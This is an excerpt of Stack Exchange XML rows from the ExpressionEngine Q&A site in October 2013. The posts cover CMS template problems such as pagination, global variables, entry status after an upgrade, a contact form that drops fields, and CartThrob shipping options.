  <row Id="14450" PostTypeId="2" ParentId="14444" CreationDate="2013-10-09T18:40:54.327" Score="2" Body="&lt;p&gt;Render out the pagination in one block, framing the 2 styles of pagination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  &amp;lt;div id=&quot;top-pagination&quot;&amp;gt;&#xA;    Showing results {abp_entry_from}-{abp_entry_to} of {abp_total_entries}. Show: 10  20 30 per page&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;bottom-pagination&quot;&amp;gt;&#xA;    {pagination_links}&#xA;      &amp;lt;ul&amp;gt;&#xA;        {previous_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/previous_page}&#xA;        {page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;        {next_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/next_page}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {/pagination_links}&#xA;  &amp;lt;/div&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then using CSS, &lt;code&gt;position:absolute&lt;/code&gt; #top-pagination and ensure there's room for it at the top of the listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not sure how you're going to handle the sorting amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use only &lt;code&gt;paginate=&quot;bottom&quot;&lt;/code&gt; in the channel:entries tag parameters.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-10-09T20:54:17.240" LastActivityDate="2013-10-09T20:54:17.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14451" PostTypeId="2" ParentId="14379" CreationDate="2013-10-09T19:06:30.630" Score="1" Body="&lt;p&gt;It looks like the issue was that EE was ignoring the &quot;allow override on publishing page&quot; formatting preference, so even though I set the text formatting to &quot;none&quot; in the entry, it was being ignored in favor of whatever the default format preference was for the field in question. Updating from 2.7.1 to 2.7.2 corrected the issue and caused the preference to start working correctly again.&lt;/p&gt;&#xA;" OwnerUserId="2152" LastActivityDate="2013-10-09T19:06:30.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14452" PostTypeId="1" AcceptedAnswerId="14471" CreationDate="2013-10-09T19:35:18.207" Score="0" ViewCount="208" Body="&lt;p&gt;I'm having the same issue as described below, however can't find a solution:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using Focus Lab's Master Config, I've set a test global variable for&#xA;  production, like so:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$env_global['global_test'] = 'test'; Then in an embedded template I've&#xA;  dropped in {global_test}. Also tried it in a non-embedded template.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In both cases the output, regardless of environment, is this;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{global_test} Am I missing something here?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;source: (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/910/why-wouldnt-global-variable-parse-correctly-with-master-config&quot;&gt;Why wouldn't global variable parse correctly with Master Config?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, these standard Focus Labs global variables don't work either: {global:env} {global:env_full}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's caused by my server environment, as I have a 2nd separate site (EE 2.6.1) where it works fine, and I've tested on localhost and stage.mydomain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing it's caused by a conflict with an Add-on... I'm using a long list including Stash, CE String, CE Image, Store, Low Variables, Matrix, Assets, Wygwam, Freeform, User, Taxonomy...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site is running EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else come across and solved this issue before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be grateful for some guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok. I've figured out one problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd used the two standard Focus Labs variables {global:env} and {global:env_full} in an early parsed Low Variable. I guess the reason they weren't parsing has to do with parse order. They work fine, if added directly into a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That still leaves me struggling to set my own custom variable in config.local.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_global['global:google_analytics'] = 'UA-XXXXXXX-XX';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereas this does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config; $assign_to_config['global_vars'] = array('global:google_analytics'  =&amp;gt; 'UA-XXXXXXX-XX');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-10T07:44:44.093" Title="Focus Labs Master Config $env_global not working" Tags="|low-variables|focus-lab-master-config|global-variables|" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14453" PostTypeId="1" AcceptedAnswerId="14464" CreationDate="2013-10-09T19:45:40.047" Score="3" ViewCount="392" Body="&lt;p&gt;I recently upgraded to Expression 2.7.1. I'm experiencing problems with publishing, or in this case, republishing entries. In the &quot;Options&quot; tab, the &quot;Status&quot; dropdown is now empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I changed something in a particular entry, it loses it's &quot;Open&quot; status and becomes unpublished, and I'm unable to swtich it back to &quot;Open.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My local test site doesn't have this issue, but my live production site does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or places I should look first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jason&lt;/p&gt;&#xA;" OwnerUserId="2170" LastActivityDate="2014-08-14T19:11:15.287" Title="Entries no longer have a &quot;Status&quot; option, and disappear when saved" Tags="|entries|status|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14454" PostTypeId="2" ParentId="14419" CreationDate="2013-10-09T19:47:59.457" Score="1" Body="&lt;p&gt;In addition to Justin's answer, another thing to keep in mind is that if you are creating your own input field with a checkbox, you need to use a hidden field to set the unchecked state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an HTML checkbox is unchecked, nothing at all gets submitted and so in that case Store will not update the stored value in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can solve this by putting a hidden input with the same name immediately before your checkbox. If the checkbox is selected, the second value will take priority, otherwise it will fall back to the default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;order_custom1&quot; value=&quot;No&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;order_custom1&quot; value=&quot;Yes&quot; {if order_custom1 == &quot;Yes&quot;}checked{/if} /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-09T19:47:59.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14455" PostTypeId="2" ParentId="14453" CreationDate="2013-10-09T20:17:14.193" Score="0" Body="&lt;p&gt;I'd suggest starting by updating to 2.7.2, which I believe came out in the last day or so. I was having issues setting some field preferences in 2.7.1 that the update seems to have fixed.&lt;/p&gt;&#xA;" OwnerUserId="2152" LastActivityDate="2013-10-09T20:17:14.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14456" PostTypeId="2" ParentId="14291" CreationDate="2013-10-09T20:24:29.707" Score="1" Body="&lt;p&gt;This ended up being an issue with variable namespacing -- the following worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;homepage&quot;}&#xA;        {home_features var_prefix=&quot;feature&quot;}&#xA;            &amp;lt;article&amp;gt;&#xA;                {feature:feature_photo var_prefix=&quot;file&quot;}&amp;lt;img src=&quot;{file:url}&quot; &amp;gt;{/feature:feature_photo} {!-- this is the Assets field --}&#xA;                &amp;lt;h1&amp;gt;{feature:title}&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;p&amp;gt;{feature:feature_summary}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;a href=&quot;{feature:page_url}&quot;&amp;gt;more info&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;        {/home_features}    &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-10-09T20:24:29.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14457" PostTypeId="1" CreationDate="2013-10-09T21:05:58.840" Score="1" ViewCount="68" Body="&lt;p&gt;Using EE 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any changes that I would have caused this, however, I'm getting a javascript error. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Resource interpreted as Script but transferred with MIME type text/html: &quot;mysite.com/?ACT=comment_editor&quot;. mypage:59&#xA;Uncaught TypeError: Object [object Object] has no method 'CommentEditor' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My comment fields are being rendered in the source code (with the correct brackets of course):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;http://mysite.com/?ACT=jquery&quot;][/script]&#xA;[script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;http://mysite.com/?ACT=comment_editor&quot;&amp;gt;[/script]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-10-20T19:29:13.480" Title="EE comments stopped working" Tags="|error|javascript|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14458" PostTypeId="1" AcceptedAnswerId="14906" CreationDate="2013-10-09T21:50:09.197" Score="1" ViewCount="103" Body="&lt;p&gt;Creating a form for our a client and its refusing to send certain fields to the recipient. Consistently, (as of now) this includes: Name, Company and Email. Everything else sends. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how does one have form validation in EE? I put name=&quot;required[]&quot; and it didn't affect or change anything. Granted, I didn't have an initial name=&quot;required&quot; without the &quot;[]&quot;. So that perhaps screwed that up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what exactly is the problem here? Below is the code followed by the email:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div id=&quot;contactForm&quot; class=&quot;appnitro&quot;&amp;gt;&#xA;  {exp:email:contact_form user_recipients=&quot;no&quot; recipients=&quot;fakeemail@gmail.com&quot; charset=&quot;utf-8&quot;}&#xA;           &amp;lt;div class=&quot;form_description&quot;&amp;gt;&amp;lt;/div&amp;gt;                  &#xA;     &amp;lt;ul &amp;gt;&#xA;  &amp;lt;li id=&quot;li_1&quot; &amp;gt;&#xA;  &amp;lt;label class=&quot;description&quot; for=&quot;element_1&quot;&amp;gt;Name &amp;lt;/label&amp;gt;&#xA;  &amp;lt;span&amp;gt;&#xA;     &amp;lt;input id=&quot;element_1_1&quot; name=&quot;name&quot; class=&quot;element text&quot; maxlength=&quot;255&quot; size=&quot;25&quot; value=&quot;&quot;/&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&#xA;  &amp;lt;span&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_1&quot;&amp;gt;&amp;lt;small&amp;gt;Please provide your name.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt; &#xA;  &amp;lt;/li&amp;gt;    &amp;lt;li id=&quot;li_2&quot; &amp;gt;&#xA;  &amp;lt;label class=&quot;description&quot; for=&quot;element_2&quot;&amp;gt;Company &amp;lt;/label&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;     &amp;lt;input id=&quot;element_2&quot; name=&quot;message&quot; class=&quot;element text medium&quot; type=&quot;text&quot; maxlength=&quot;255&quot; value=&quot;&quot;/&amp;gt; &#xA;  &amp;lt;/div&amp;gt;&amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_2&quot;&amp;gt;&amp;lt;small&amp;gt;Please provide your company.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt; &#xA;  &amp;lt;/li&amp;gt;    &amp;lt;li id=&quot;li_3&quot; &amp;gt;&#xA;  &amp;lt;label class=&quot;description&quot; for=&quot;element_3&quot;&amp;gt;Title &amp;lt;/label&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;     &amp;lt;input id=&quot;element_3&quot; name=&quot;message[]&quot; class=&quot;element text medium&quot; type=&quot;text&quot; maxlength=&quot;255&quot; value=&quot;&quot;/&amp;gt; &#xA;  &amp;lt;/div&amp;gt;&amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_3&quot;&amp;gt;&amp;lt;small&amp;gt;Please provide your title. &amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt; &#xA;  &amp;lt;/li&amp;gt;    &amp;lt;li id=&quot;li_5&quot; &amp;gt;&#xA;  &amp;lt;label class=&quot;description&quot; for=&quot;element_5&quot;&amp;gt;Email &amp;lt;/label&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;     &amp;lt;input id=&quot;element_5&quot; name=&quot;from&quot; class=&quot;element text medium&quot; type=&quot;text&quot; maxlength=&quot;255&quot; value=&quot;&quot;/&amp;gt; &#xA;  &amp;lt;/div&amp;gt;&amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_5&quot;&amp;gt;&amp;lt;small&amp;gt;Please provide your email.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt; &#xA;  &amp;lt;/li&amp;gt;    &amp;lt;li id=&quot;li_4&quot; &amp;gt;&#xA;  &amp;lt;label class=&quot;description&quot; for=&quot;element_4&quot;&amp;gt;Phone &amp;lt;/label&amp;gt;&#xA;  &amp;lt;span&amp;gt;&#xA;     &amp;lt;input id=&quot;element_4_1&quot; name=&quot;message[]&quot; class=&quot;element text&quot; size=&quot;3&quot; maxlength=&quot;3&quot; value=&quot;&quot; type=&quot;text&quot;&amp;gt; -&#xA;     &amp;lt;br&amp;gt;&#xA;     &amp;lt;label for=&quot;element_4_1&quot;&amp;gt;(###)&amp;lt;/label&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&#xA;  &amp;lt;span&amp;gt;&#xA;     &amp;lt;input id=&quot;element_4_2&quot; name=&quot;message[]&quot; class=&quot;element text&quot; size=&quot;3&quot; maxlength=&quot;3&quot; value=&quot;&quot; type=&quot;text&quot;&amp;gt; -&#xA;     &amp;lt;br&amp;gt;&#xA;     &amp;lt;label for=&quot;element_4_2&quot;&amp;gt;###&amp;lt;/label&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&#xA;  &amp;lt;span&amp;gt;&#xA;     &amp;lt;input id=&quot;element_4_3&quot; name=&quot;message[]&quot; class=&quot;element text&quot; size=&quot;4&quot; maxlength=&quot;4&quot; value=&quot;&quot; type=&quot;text&quot;&amp;gt;&#xA;     &amp;lt;br&amp;gt;&#xA;     &amp;lt;label for=&quot;element_4_3&quot;&amp;gt;####&amp;lt;/label&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&#xA;  &amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_4&quot;&amp;gt;&amp;lt;small&amp;gt;Please enter in your phone number with area code.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt; &#xA;  &amp;lt;/li&amp;gt;    &amp;lt;li id=&quot;li_6&quot; &amp;gt;&#xA;  &amp;lt;label class=&quot;description&quot; for=&quot;element_6&quot;&amp;gt;Contact Preference &amp;lt;/label&amp;gt;&#xA;  &amp;lt;span&amp;gt;&#xA;     &amp;lt;input id=&quot;element_6_1&quot; name=&quot;message[]&quot; class=&quot;element radio&quot; type=&quot;radio&quot; value=&quot;Email&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_6_1&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_6_2&quot; name=&quot;message[]&quot; class=&quot;element radio&quot; type=&quot;radio&quot; value=&quot;Phone&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_6_2&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;&#xA;  &amp;lt;/span&amp;gt;&amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_6&quot;&amp;gt;&amp;lt;small&amp;gt;Please select your preference to be reached.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt; &#xA;  &amp;lt;/li&amp;gt;    &amp;lt;li id=&quot;li_7&quot; &amp;gt;&#xA;  &amp;lt;label class=&quot;description&quot; for=&quot;element_7&quot;&amp;gt;Your Industry &amp;lt;/label&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;  &amp;lt;select class=&quot;element select medium&quot; id=&quot;element_7&quot; name=&quot;message[]&quot;&amp;gt; &#xA;     &amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Advertising and Marketing&quot; &amp;gt;Advertising and Marketing&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Airline&quot; &amp;gt;Airline&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Automotive&quot; &amp;gt;Automotive&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Catalog&quot; &amp;gt;Catalog&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Communications&quot; &amp;gt;Communications&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Consumer Package Goods&quot; &amp;gt;Consumer Package Goods&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Education&quot; &amp;gt;Education&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Energy&quot; &amp;gt;Energy&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Entertainment and Gaming&quot; &amp;gt;Entertainment and Gaming&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Financial Services&quot; &amp;gt;Financial Services&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Government&quot; &amp;gt;Government&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Healthcare/Pharma&quot; &amp;gt;Healthcare/Pharma&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Hospitality&quot; &amp;gt;Hospitality&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Insurance&quot; &amp;gt;Insurance&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Media&quot; &amp;gt;Media&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Non-Profit&quot; &amp;gt;Non-Profit&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Publishing&quot; &amp;gt;Publishing&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Real Estate&quot; &amp;gt;Real Estate&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Restaurants&quot; &amp;gt;Restaurants&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Retail and Catalog&quot; &amp;gt;Retail and Catalog&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Technology&quot; &amp;gt;Technology&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Telecommunications&quot; &amp;gt;Telecommunications&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Travel&quot; &amp;gt;Travel&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Utilities&quot; &amp;gt;Utilities&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;Other&quot; &amp;gt;Other&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_7&quot;&amp;gt;&amp;lt;small&amp;gt;Please select your industry.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt; &#xA;  &amp;lt;/li&amp;gt;    &amp;lt;li id=&quot;li_8&quot; &amp;gt;&#xA;  &amp;lt;label class=&quot;description&quot; for=&quot;element_8&quot;&amp;gt;What Solutions are you interested in? (Please select all that apply.) &amp;lt;/label&amp;gt;&#xA;  &amp;lt;span&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_1&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Marketing Database Solutions&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_1&quot;&amp;gt;Marketing Database Solutions&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_2&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Integrated Database and Email Marketing Solutions&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_2&quot;&amp;gt;Integrated Database and Email Marketing Solutions&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_3&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Real-Time Interactive Marketing&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_3&quot;&amp;gt;Real-Time Interactive Marketing&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_4&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Mobile Marketing&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_4&quot;&amp;gt;Mobile Marketing&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_5&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Analytics and Modeling&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_5&quot;&amp;gt;Analytics and Modeling&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_6&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Strategic MArketing Insight&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_6&quot;&amp;gt;Strategic MArketing Insight&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_7&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Business Intelligence&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_7&quot;&amp;gt;Business Intelligence&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_8&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Data- Decision Points National Consumer Database&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_8&quot;&amp;gt;Data- Decision Points National Consumer Database&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input id=&quot;element_8_9&quot; name=&quot;message[]&quot; class=&quot;element checkbox&quot; type=&quot;checkbox&quot; value=&quot;Campaign Execution&quot; /&amp;gt;&#xA;     &amp;lt;label class=&quot;choice&quot; for=&quot;element_8_9&quot;&amp;gt;Campaign Execution&amp;lt;/label&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_8&quot;&amp;gt;&amp;lt;small&amp;gt;Select all solutions which interest you.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt; &#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li id=&quot;li_9&quot; &amp;gt;&amp;lt;textarea name=&quot;message[]&quot; rows=&quot;10&quot; cols=&quot;80&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;p class=&quot;guidelines&quot; id=&quot;guide_9&quot;&amp;gt;&amp;lt;small&amp;gt;Please enter your message here.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;buttons&quot;&amp;gt;&#xA;         &amp;lt;input type=&quot;hidden&quot; name=&quot;form_id&quot; value=&quot;720615&quot; /&amp;gt;&#xA;         &amp;lt;input id=&quot;saveForm&quot; class=&quot;button_text&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;     &amp;lt;/ul&amp;gt;&#xA;  {/exp:email:contact_form}&#xA;  &amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Email:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Lord Admiral&#xA;302&#xA;423&#xA;2342&#xA;Email&#xA;Automotive&#xA;Real-Time Interactive Marketing&#xA;Mobile Marketing&#xA;dasdasd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, name and company are missing from the above and then so is email. I have no idea why and I'm on a time limit here because this was thrown at me at the last second due to fantastic internal management. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Switched to &lt;strong&gt;Devdemon Forms&lt;/strong&gt;, though now I'm not getting any emails at all..&lt;/p&gt;&#xA;" OwnerUserId="1813" LastEditorUserId="1813" LastEditDate="2013-10-10T15:12:11.890" LastActivityDate="2013-10-23T19:53:51.203" Title="Expression Engine (2.6.x) Email Form - Email missing certain fields" Tags="|email|forms|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14460" PostTypeId="1" CreationDate="2013-10-09T22:24:20.720" Score="0" ViewCount="236" Body="&lt;p&gt;I'm really stuck on this and i hope the EE community can help.  I have CartThrob using a custom plugin for shipping that sets price thresholds to achieve free shipping.  And it seems to be applying the right rate immediately based on the pre-tax subtotal, but a value for selected_shipping_option is not.  It is only when I use the cart update form to resubmit the cart contents, which includes the shipping options drop down, that the value of shipping option is being set.  I'd like to be able to display some information on the checkout screen on the basis of the selected shipping option, but although the right amount is being applied for the transaction, the value of shipping_option is not being set.  Is there anything I can do about that?  I don't want to force the user to re-select even the default option just to be abel to get that value recorded and therefore included in the order entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I first go to my basket and have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&#xA;    {exp:cartthrob:update_cart_form return=&quot;basket/index&quot; required=&quot;shipping_option&quot;}&#xA;        {exp:cartthrob:get_shipping_options}&#xA;    &amp;lt;select name=&quot;shipping_option&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;ship_to_my_address&quot; {if '{exp:cartthrob:selected_shipping_option}' == &quot;ship_to_my_address&quot;} selected=&quot;selected&quot;{/if}&amp;gt;Ship to my address&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;in_store_pickup&quot; '{exp:cartthrob:selected_shipping_option}' == &quot;in_store_pickup&quot;&amp;gt;In store pickup - free&amp;lt;/option&amp;gt;&#xA;        {/exp:cartthrob:get_shipping_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Update Cart&quot; class=&quot;button small&quot; /&amp;gt;&#xA;    {/exp:cartthrob:update_cart_form}&#xA;{exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Neither option in the select box is being marked as selected and if I simply try putting {exp:cartthrob:selected_shipping_option} in the template, I get no value returned - UNTIL I submit the update cart form - then it works fine.  But I need (and would expect) the value to already be set - not JUST for the right amount to be charged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-02T11:27:30.353" Title="Having trouble setting cartthrob's selected_shipping_option variable with default value" Tags="|cartthrob|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
